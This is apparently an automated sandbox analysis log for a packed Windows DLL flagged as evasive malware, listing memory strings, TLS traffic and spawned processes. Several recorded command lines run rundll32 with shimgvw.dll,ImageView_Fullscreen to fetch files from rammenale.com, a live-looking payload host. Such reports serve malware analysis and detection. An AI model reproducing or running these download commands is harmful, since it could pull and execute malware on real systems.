Source: rundll32.exe, 0000000C.00000002.3369493253.00000000034F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtI
Source: rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtJ
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008A93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtM3
Source: rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.0000000008123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtP
Source: rundll32.exe, 00000007.00000002.3369345966.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtT
Source: rundll32.exe, 0000000C.00000002.3369493253.00000000034F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt_
Source: rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtd
Source: rundll32.exe, 00000005.00000002.3369497741.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3369345966.0000000000C5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtent
Source: rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtentties
Source: rundll32.exe, 00000007.00000002.3369345966.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtf
Source: rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtfs:
Source: rundll32.exe, 00000005.00000002.3369497741.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtg
Source: rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtl
Source: rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtq
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008A93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtr
Source: rundll32.exe, 00000007.00000002.3372962854.000000000810D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txts
Source: rundll32.exe, 00000007.00000002.3369345966.0000000000C5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtsoft
Source: rundll32.exe, 00000007.00000002.3372962854.000000000810D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtu
Source: rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtx4C
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3372854058.0000000008AF7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.0000000008164000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091FC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtz
Source: rundll32.exe, 00000005.00000002.3372199010.0000000004FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogDevice
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AF7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogID
Source: rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogcyS
Source: rundll32.exe, 00000005.00000002.3369108734.0000000000AB7000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3369090469.00000000007B7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogtxt
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regM
Source: rundll32.exe, 0000000D.00000002.3371682679.0000000004D3A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369386552.00000000009E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008817000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3371682679.0000000004D52000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp%S
Source: rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp%f
Source: rundll32.exe, 00000009.00000002.3369940309.0000000003500000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp&bt
Source: rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp(f
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp0
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp0s
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp1
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp2J
Source: rundll32.exe, 00000008.00000002.3369773765.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp3
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008F7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp3bt
Source: loaddll32.exe, 00000000.00000002.2160984366.0000000000D4C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp3w
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4$
Source: rundll32.exe, 0000000D.00000002.3372381342.000000000884C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp43f
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp44uz
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4D
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008F96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4F
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4I
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4d
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4er
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4m
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4w
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4z
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007AEC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp6634-1003
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008F65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp6634-1003Vbt
Source: rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp8
Source: rundll32.exe, 00000008.00000002.3369525975.00000000005B0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3369204567.00000000032A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3370380512.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp:
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp?J
Source: rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpBJj
Source: rundll32.exe, 00000003.00000002.2132858298.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2133337781.0000000000D60000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3369773765.00000000006C0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3369384121.0000000000500000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3369940309.0000000003500000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3369536080.00000000033A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369313271.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369386552.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpC:
Source: rundll32.exe, 00000008.00000002.3373826197.000000000484A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpE
Source: rundll32.exe, 00000008.00000002.3369773765.0000000000779000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpG
Source: rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpK
Source: rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpOJ
Source: rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpP
Source: rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpS
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpWJz
Source: rundll32.exe, 00000008.00000002.3369773765.00000000007BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpbS
Source: rundll32.exe, 0000000D.00000002.3369386552.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpent
Source: rundll32.exe, 00000009.00000002.3369940309.000000000357F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpentfc
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpgQ
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmph
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008F65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmphbt
Source: rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpjS
Source: rundll32.exe, 00000009.00000002.3369940309.000000000350A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpk
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpkJ
Source: rundll32.exe, 00000009.00000002.3369940309.000000000350A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpkbu
Source: rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpl
Source: rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmplS
Source: rundll32.exe, 00000008.00000002.3369773765.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpm
Source: rundll32.exe, 00000009.00000002.3369940309.000000000350A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpmbt
Source: rundll32.exe, 0000000D.00000002.3369386552.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpnf
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007AEC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008F65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpp
Source: rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmppv
Source: rundll32.exe, 00000009.00000002.3369940309.000000000350A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpq
Source: rundll32.exe, 00000009.00000002.3369940309.00000000035C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmprI3-
Source: loaddll32.exe, 00000000.00000002.2160947833.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpsC:
Source: rundll32.exe, 00000008.00000002.3369773765.000000000073E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3369940309.000000000357F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpsoft
Source: rundll32.exe, 00000008.00000002.3369773765.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpu
Source: rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpuS
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B4C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008FB1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008F96000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.000000000884C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpz
Source: rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp~

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49716 version: TLS 1.2

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEEB3BD	0_2_6BEEB3BD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEF612B	0_2_6BEF612B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEFB869	0_2_6BEFB869
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEEB07B	0_2_6BEEB07B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEEB71C	0_2_6BEEB71C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEF5C80	0_2_6BEF5C80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE6B71C	3_2_6FE6B71C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE75C80	3_2_6FE75C80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE6B3BD	3_2_6FE6B3BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE7612B	3_2_6FE7612B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE7B869	3_2_6FE7B869
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE6B07B	3_2_6FE6B07B

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6BEE5570 appears 44 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6FE65570 appears 44 times

Source: LLD5HDX0PS.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: classification engine

Classification label: mal84.evad.winDLL@20/0@1/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2268:120:WilError_03

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\LLD5HDX0PS.dll,mydllmain

Source: LLD5HDX0PS.dll

Virustotal: Detection: 10%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\LLD5HDX0PS.dll,mydllmain
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\LLD5HDX0PS.dll,mydllmain	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: LLD5HDX0PS.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEFBF81 push ecx; ret	0_2_6BEFBF94
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEFFD0D push esi; ret	0_2_6BEFFD16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE7BF81 push ecx; ret	3_2_6FE7BF94
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE7FD0D push esi; ret	3_2_6FE7FD16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00C0358B push edx; iretd	4_2_00C0358C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00C02D93 push edx; iretd	4_2_00C02D94
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00C0321B push edx; iretd	4_2_00C0321C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00C02E7B push edx; iretd	4_2_00C02E7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04D4E842 push 73A07743h; retf 0000h	5_2_04D4E91A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00E5CF3C push esp; iretd	8_2_00E5CF3D

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
